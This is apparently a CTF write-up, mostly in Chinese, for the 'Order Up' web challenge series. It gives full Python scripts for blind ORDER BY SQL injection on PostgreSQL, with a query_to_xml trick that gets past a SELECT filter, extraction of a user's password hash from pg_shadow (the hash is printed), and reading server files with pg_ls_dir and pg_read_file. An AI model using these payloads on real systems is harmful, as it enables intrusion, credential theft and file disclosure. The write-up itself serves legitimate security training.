Order Up
Internal Notes:
Source will NOT be provided for these challenges.
This is designed to be hosted in a "each team gets a private instance" manner.
See the CTFd folder in this repo for details on how this challenge will be spun up per team.
In CTFd, this will use the "private_challenges" custom challenge type so that it can be spun up per team.
Order up 1
Description:
I hope my under construction web site is secure.
Solving this will unlock a series of related challenges that ALL use the same challenge instance.
Source is not provided on purpose.
To find the first flag, find a way to view the text of the SQL query. If you find some other flag, it will be related to one of the others in this series.
Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).
不提供源码 看描述应该是sql注入
直接访问没找到功能点 去翻js
async function fetchData() {
return await fetch('/query?col1=category&col2=item_name&col3=description&col4=price&order=category,item_name').then(r => r.json())
}
async function renderTable() {
const tableBody = document.querySelector('#data-table tbody')
const data = await fetchData()
tableBody.innerHTML = ''
data.forEach((item) => {
const row = document.createElement('tr')
row.innerHTML = `<td><input type="checkbox"></td><td>${item.category}</td><td>${item.item_name}</td><td>${item.description}</td><td>${item.price}</td>`
tableBody.appendChild(row)
})
}
window.onload = function () {
renderTable();
}
尝试对col1-col4和order进行注入
通过升降序判断出 order
处存在注入
那么应该就是一个order by注入
通过不同数据库的函数来判断数据库 这里判断出是postgresql
https://www.db-fiddle.com/可以测多环境的sql 很方便
可以注出库名database
import requests
import string
dic = "<>?"+string.digits+string.ascii_letters+"-}{, /*_$:"+chr(10)
url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''
x = ""
for i in range(1,666):
flag = False
for letter in dic:
exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
# exp = f"(select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}"
payload = f"?col1=price&order=case when ({exp}) then category else description end"
res = requests.get(url+payload)
if res.text.startswith(true_response):
x += letter
flag = True
break
if not flag:
break
print(x)
尝试注表名 失败了 应该是过滤了什么东西 先不管
select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}
题目说 find a way to view the text of the SQL query
那么用current_query
查询当前语句
ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}
import requests
import string
dic = "<>?"+string.digits+string.ascii_letters+"-}{, /*_$:"+chr(10)
url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''
x = ""
for i in range(1,666):
flag = False
for letter in dic:
# exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"
# exp = f"(select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}"
payload = f"?col1=price&order=case when ({exp}) then category else description end"
res = requests.get(url+payload)
if res.text.startswith(true_response):
x += letter
flag = True
break
if not flag:
break
print(x)
得到flag1
Order up 2
Description:
The next flag is hiding in another table. Can you find it?
在另一个表里
那么就要考虑上面的
select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}
猜测waf给语句里面什么ban了
不是select
就是STRING_AGG
了删了STRING_AGG
没有报错 说明是select
的问题
大小写并不能绕过
这里不是很会绕
wp中给到的payload是利用query_to_xml
函数来绕 select
作为字符串的参数可以随便拼接
修改后的payload为
(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT table_name FROM information_schema.tables where (table_schema=''public'')',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})
import requests
import string
dic = "<>?"+string.digits+string.ascii_letters+"-}{, /*_$:"+chr(10)
url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''
x = ""
for i in range(1,666):
flag = False
for letter in dic:
# exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
# exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"
exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT table_name FROM information_schema.tables where (table_schema=''public'')',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
payload = f"?col1=price&order=case when ({exp}) then category else description end"
# print(payload)
res = requests.get(url+payload)
if res.text.startswith(true_response):
x += letter
flag = True
break
if not flag:
break
print(x)
(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT * FROM flag_table_542986521',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})
Order up 3
Description:
There is a DB user named 'flag'. To find the next flag, figure out the password for this DB user.
The flag will be: wctf{}
Note: The password can be found in the rock you word list.
Note: Use your team instance from Order Up 1.
找到用户flag
的密码用wctf包裹
其中密码是弱口令 在rockyou字典中存在
那么我们只需要从pg_shadow
中跑出哈希本地解密即可
import requests
import string
dic = string.printable
url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''
x = ""
for i in range(1,666):
flag = False
for letter in dic:
# exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
# exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"
# exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT * FROM flag_table_542986521',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT passwd FROM pg_shadow where usename='\'flag\''',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
payload = f"?col1=price&order=case when ({exp}) then category else description end"
# print(payload)
res = requests.get(url+payload)
if res.text.startswith(true_response):
x += letter
flag = True
break
if not flag:
break
print(x)
# SCRAM-SHA-256$4096:n5XSPEmqV0e9JWHZTnkJRA==$Xrc8LYVMeUeE0yFt7y66H9UbOOchaPV/39lc3aNLc9g=:VCjMQjczALfiEZ+3MJZuIvoZ7q2HkzOWWAuIvadUm8g=
Order up 4
Description:
The next flag is inside a disk file whose name is like /flag*.txt
需要读本地文件
其中文件名没有全告诉我们 只说明了是flag开头的txt文件
可以考虑函数pg_ls_dir
先读出flag的文件名
(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT pg_ls_dir(''/'') a',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})
import requests
import string
dic = string.printable
url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''
x = ""
for i in range(1,666):
flag = False
for letter in dic:
# exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
# exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"
# exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT * FROM flag_table_542986521',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
# exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT passwd FROM pg_shadow where usename='\'flag\''',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
exp = f''' (ascii(substr(replace(replace(replace(replace(replace(replace(''||query_to_xml('SE'||'LECT pg_read_file(''/flag_VfCjtGpXDcMrml.txt'') a',true,true,''),'row',''),'<a>',''),'</a>',''),'</>',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
payload = f"?col1=price&order=case when ({exp}) then category else description end"
# print(payload)
res = requests.get(url+payload)
if res.text.startswith(true_response):
x += letter
flag = True
break
if not flag:
break
print(x)
# SCRAM-SHA-256$4096:n5XSPEmqV0e9JWHZTnkJRA==$Xrc8LYVMeUeE0yFt7y66H9UbOOchaPV/39lc3aNLc9g=:VCjMQjczALfiEZ+3MJZuIvoZ7q2HkzOWWAuIvadUm8g=